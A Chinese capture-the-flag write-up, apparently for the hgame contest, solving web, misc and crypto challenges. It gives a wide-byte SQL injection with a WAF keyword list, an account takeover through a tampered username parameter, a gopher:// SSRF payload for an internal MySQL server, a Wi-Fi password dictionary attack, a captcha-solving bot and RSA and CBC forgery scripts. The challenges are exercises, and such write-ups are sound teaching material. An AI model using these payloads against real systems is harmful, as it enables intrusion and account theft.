Contents
web
又双叒叕是SQLI [300]
根据提示,扫描一下备份文件,可以得到 /index.php~
。阅读源码可知考查 MySQL 宽字节注入与 WAF 绕过,通过构造形如 ?user=admin2%bf%27...
的宽字节注入 payload 即可使单引号逃逸,进行注入
<?php
error_reporting(0);
include("sql.php");
$waf="/(union|group by|=|>|<|hex| |lower|strcmp|updatexml|xmlelement|extractvalue|concat|bin|sleep|mid\(|substr|left|ascii|\/\*|\*\/)/i";
if(isset($_GET['user'])){
if(preg_match_all($waf,$_GET['user'])!=0){
$user="admin";
}else{
$user = str_replace("'","\'",$_GET['user']);
}
//echo $user."<br>";
$sqli = new mysqli($host,$username,$passwd,$database);
$sqli->set_charset("gbk");
$query="select * from users where username='".$user."'";
$result = $sqli->query($query);
//echo $sqli->error;
$num=0;
@$num = $result->num_rows;
if($num>0){
while($row = $result->fetch_row()){
echo $row[0]." ".$row[1]." ".$row[2]."<br>";
}
}
}
Flag: hgame{like!injection!so!g00d##}
散落的flag [200]
本周 web 签到题。测试一下站点发现主要有 login.php、register.php、user_info.php、change_pwd.php 等页面
首先进行注册,这里随便注册一个账号就可以登录后跳转至个人页面 user_info.php 获取第一段 flag。注意注册账号时的手机验证码并不会真的发短信,直接查看 HTTP 请求的返回数据即可获取验证码
修改 username
参数为 admin
,再次请求 user_info.php 可以获取第二段 flag
然后通过修改密码功能,修改请求中的 username
参数为 admin
,即可修改 admin 账号的密码,登录即可获取第三段 flag
Flag: hgame{0102940de110c546b2cf6898924acfce}
奇怪的SQLi [600]
SSRF 漏洞。首先注册账号并登录,此处没有可利用的漏洞,随意即可
登录来到主要页面 /index.html,测试一下文本框发现可以使用 file://
协议读取文件,猜测存在 SSRF 漏洞,可以利用 gopher://
协议与 MySQL 进行通讯,但这需要进行登录,而 MySQL 的信息未知
对站点进行一下扫描,发现存在 /.git/ 目录,可能存在源码泄露。使用 kost/dvcs-ripper 恢复仓库。
$ rip-git.pl -o ./src -v -u http://[REDACTED]/.git/
查看仓库提交历史,进行版本回退,恢复 config.php
文件
$ git log
# ...[OMITTED]...
commit 18c294dc7b3dbb82d8d52e7aa84de0a66a1bf88f
Author: week4 <[REDACTED]>
Date: Sun Feb 25 06:52:02 2018 +0000
Revert "add php"
This reverts commit 39f5ffd3d4fdd124bc93f52d72f561817b6f8fd9.
commit 39f5ffd3d4fdd124bc93f52d72f561817b6f8fd9
Author: week4 <[REDACTED]>
Date: Sun Feb 25 06:51:57 2018 +0000
add php
# ...[OMITTED]...
$ git reset --hard 39f5ffd3d4fdd124bc93f52d72f561817b6f8fd9
HEAD is now at 39f5ffd add php
查看 config.php 文件,获取 MySQL 主机名、用户名与密码(空)
$db_host = 'mysql';
$db_name = 'users';
$db_user = 'week4';
$db_pwd = '';
构造 payload 进行尝试,payload 的生成脚本可以参考 undefinedd/extract0r-
gopher://172.17.0.2:3306/A%2C%00%00%01O%B7%00%00%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00week4%00%00flag%00%0D%00%00%00%03select%20now%28%29%00%00%00%00
成功返回当前时间,漏洞利用成功
之后查表即可获取 flag
Flag: hgame{Th1s_Flaggggggggggg}
misc
ngc's wifi [200]
根据提示,密码是潍坊的手机号。采集一下 http://www.bixinshui.com/city/12 的号段列表,编写如下 python 脚本生成字典
import itertools
import requests
import re
response = requests.get('http://www.bixinshui.com/city/12').content
prefixes = re.findall(r'>(\d{7})<', response)
dic = open('dic.txt', 'a')
suffixes = list(itertools.product('0123456789', repeat=4))
for i in prefixes:
for j in suffixes:
number = i + ''.join(j)
print(number)
dic.write(number + '\n')
dic.close()
之后使用 Aircrack-ng 工具即可通过题目所给的握手包破解 Wi-Fi 密码
Flag: hgame{13375369512}
so jb ez captcha [300]
奇怪题,似乎是考写脚本能力
网站大致逻辑是:提交一个 token 会返回一个图片的 base64 编码,图片是白底黑字的一个数字,需要在很短的时间间隔内提交这个数字
利用 tesseract 可以进行图片识别,由于训练等过于复杂,可以用百度的文字识别 API 代替
编写 python 脚本即可获取 flag
from PIL import Image
import base64
import cStringIO
import urllib
import requests
import json
import random
r = requests.Session()
r.headers.update({'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36'})
url = 'http://[REDACTED]/sojbezcaptcha?token='
token = random.randint(0, 100)
while 1:
while 1:
response = r.get(url + token, headers=headers).content
if 'Error' not in response:
break
imgstring = json.loads(response)['captcha_png_base64']
pic = cStringIO.StringIO()
image_string = cStringIO.StringIO(base64.b64decode(imgstring))
image = Image.open(image_string).resize((20, 30), Image.ANTIALIAS)
buffer = cStringIO.StringIO()
image.save(buffer, format='PNG')
postData = urllib.urlencode({'access_token': '[REDACTED]', 'image': base64.b64encode(buffer.getvalue())})
response = requests.post('https://aip.baidubce.com/rest/2.0/ocr/v1/general_basic', verify=False, headers={'Content-Type': 'application/x-www-form-urlencoded'}, data=postData).content
captcha = json.loads(response)['words_result'][0]['words']
print(captcha)
while 1:
response = r.get(url + token + '&submit=' + captcha, headers=headers).content
if 'Error' not in response:
break
print(response)
if json.loads(response)['flag'] != None:
break
由于 API 对于图片尺寸有要求,故在脚本中使用 PIL 库对图片进行放大处理
Flag: hgame{hammerissojbcute}
crypto
ezECC [200]
椭圆曲线加密算法,使用 sage 即可解出 x 与 y
p = 1026347883361447
a = 499590297305427
b = 30115568120981
G = (817367249716330, 483834901818242)
k = 622849
C = EllipticCurve(FiniteField(p), [a, b])
result = C.point((G[0], G[1]))*k
Flag: hgame{1400208214439804}
HellRSA [500]
RSA 低位泄露
编写如下 python 脚本即可爆破
from libnum import *
n = '...[OMITTED]...'
g = '...[OMITTED]...'
c = '...[OMITTED]...'
sols = {(0, 0)}
for m in range(1111):
sols2 = set()
mask = (2 << m) - 1
for p, q in sols:
if p * q == n:
d = invmod(65537, (p - 1) * (q - 1))
print(n2s(pow(c, d, n)))
quit()
for bp in range(2):
for bq in range(2):
pp = p + (bp << m)
qq = q + (bq << m)
if (pp * qq) & mask != n & mask:
continue
gg = (pp * qq) - (pp ^ qq)
if gg & mask != g & mask:
continue
sols2.add((pp, qq))
sols = sols2
Flag: hgame{xxxxxxxxxxxxx}
CBC V0.3 [300]
阅读源码,和 CBC V0.2 基本一致
首先进行注册,用户名为空(直接回车)
得到 salt 的 MD5 sig 值
在 cmd5.com 进行查询,得到 salt 的明文 ert#$%678
(是一条付费查询)
重新注册,用户名为 ddmino
,得到 'ddmino' + '\x0a' * 10
的 token,通过 CBC 字节翻转攻击,修改 IV 使其解密为 'admino' + '\x0a' * 9 + '\x0b'
这样的 token 在经过 unpad 后就能得到 salt + 'admin'
的结果,满足程序后面的判断条件
而其 sig 值即为 md5(salt + 'admin'),直接可算得
Flag: hgame{You_g*t_1t}
0 Comments